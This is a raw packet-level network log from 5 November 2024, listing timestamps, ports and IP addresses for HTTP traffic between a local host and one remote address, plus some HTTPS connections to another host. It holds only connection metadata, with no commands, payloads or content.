Nov 5, 2024 10:13:26.031500101 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.031533003 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.031564951 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.070074081 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070127010 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.070127010 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070137978 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070174932 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.070270061 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070280075 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070322037 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.070337057 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070348024 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070358038 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070384979 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.070395947 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.070660114 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070715904 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070755005 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.070808887 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070820093 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070830107 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070839882 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.070847034 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.070879936 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.071197033 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.071213007 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.071223974 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.071240902 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.071249962 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.071258068 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.071259975 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.071271896 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.071285009 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.071288109 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.071295977 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.071296930 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.071329117 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.071353912 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:26.072041035 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:26.072103977 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.127532005 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.127546072 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.127612114 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.127623081 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.127650023 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.127674103 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.127701044 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.127717018 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.127727985 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.127739906 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.127757072 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.127758980 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.127767086 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.127778053 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.127785921 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.127806902 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.127959967 CET	443	49765	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.127970934 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128015041 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128016949 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128026962 CET	443	49765	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.128030062 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128057003 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128058910 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128066063 CET	443	49766	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.128070116 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128083944 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128087044 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128094912 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128094912 CET	49765	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.128106117 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128115892 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128118038 CET	443	49766	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.128137112 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128144026 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128155947 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128155947 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128164053 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128181934 CET	49766	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.128187895 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128221989 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128273010 CET	443	49767	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.128303051 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128314018 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128315926 CET	443	49767	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.128324032 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128339052 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128350973 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128360033 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128370047 CET	49767	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.128371000 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128374100 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128386021 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128400087 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128408909 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128441095 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128500938 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128511906 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128521919 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128531933 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128540993 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128542900 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128552914 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128555059 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128563881 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128573895 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128582954 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128585100 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128596067 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128602028 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128623009 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128643990 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128649950 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128657103 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128668070 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128678083 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128683090 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128689051 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128699064 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128709078 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128709078 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128726006 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128727913 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128736019 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128747940 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128750086 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128758907 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128767967 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128767967 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128794909 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128820896 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128832102 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.128869057 CET	49765	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.128880024 CET	443	49765	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.128906012 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.128910065 CET	49765	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.128915071 CET	443	49765	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.129548073 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.129601955 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.129825115 CET	49767	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.129828930 CET	443	49767	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.129838943 CET	49767	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.129841089 CET	443	49767	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.130045891 CET	443	49768	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.130707026 CET	49766	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.130729914 CET	443	49766	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.130744934 CET	49766	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.130750895 CET	443	49766	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.132672071 CET	49768	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.132692099 CET	443	49768	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.133107901 CET	49768	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.133114100 CET	443	49768	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.133886099 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.133897066 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.133908987 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.133920908 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.133940935 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.133945942 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.133955002 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.133965969 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.133977890 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.133996010 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134004116 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134013891 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134017944 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134028912 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134042978 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134047985 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134071112 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134098053 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134394884 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134437084 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134437084 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134449959 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134475946 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134512901 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134519100 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134562016 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134578943 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134591103 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134603024 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134617090 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134630919 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134649992 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134831905 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134866953 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134943008 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134954929 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134969950 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134979963 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.134984016 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.134993076 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.135004997 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.135009050 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.135009050 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.135020018 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.135030031 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.135050058 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.135067940 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.135854959 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.135921001 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.135998964 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.136009932 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.136023045 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.136034966 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.136044979 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.136048079 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.136059999 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.136061907 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.136071920 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.136084080 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.136097908 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.136099100 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.136106968 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.136142015 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.136507988 CET	49770	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.136537075 CET	443	49770	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.136593103 CET	49770	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.136723042 CET	49770	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.136734962 CET	443	49770	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.137355089 CET	49771	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.137391090 CET	443	49771	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.137449026 CET	49771	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.137667894 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.137681007 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.137700081 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.137711048 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.137716055 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.137722969 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.137733936 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.137742043 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.137748003 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.137758017 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.137769938 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.137778044 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.137780905 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.137793064 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.137819052 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.137955904 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.137968063 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.137980938 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.138000011 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.138001919 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.138012886 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.138025045 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.138032913 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.138044119 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.138060093 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.138067007 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.138077974 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.138089895 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.138093948 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.138104916 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.138114929 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.138115883 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.138133049 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.138149977 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.138168097 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.138370037 CET	49772	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.138396978 CET	443	49772	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.138442993 CET	49772	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.139024019 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139024973 CET	49771	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.139041901 CET	443	49771	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.139043093 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139055014 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139066935 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139066935 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139079094 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139091969 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139096022 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139102936 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139107943 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139115095 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139127016 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139138937 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139143944 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139162064 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139177084 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139269114 CET	49772	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.139280081 CET	443	49772	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.139785051 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139846087 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139851093 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139858007 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139887094 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139904976 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139904976 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139918089 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139931917 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139949083 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139950991 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139960051 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139964104 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139970064 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139976025 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.139986038 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.139987946 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.140010118 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.140037060 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.140719891 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.140764952 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.140774965 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.140786886 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.140819073 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.140830040 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.140908957 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.140922070 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.140950918 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.140960932 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.141149998 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.141191006 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.141254902 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.141295910 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.141345024 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.141386986 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.141431093 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.141441107 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.141450882 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.141472101 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.141473055 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.141478062 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.141484022 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.141494989 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.141498089 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.141506910 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.141515970 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.141519070 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.141526937 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.141546011 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.141566038 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.142319918 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.142359972 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.142368078 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.142379045 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.142405987 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:27.142407894 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.142419100 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:27.142421961 CET	49738	80	192.168.2.5	185.215.113.206
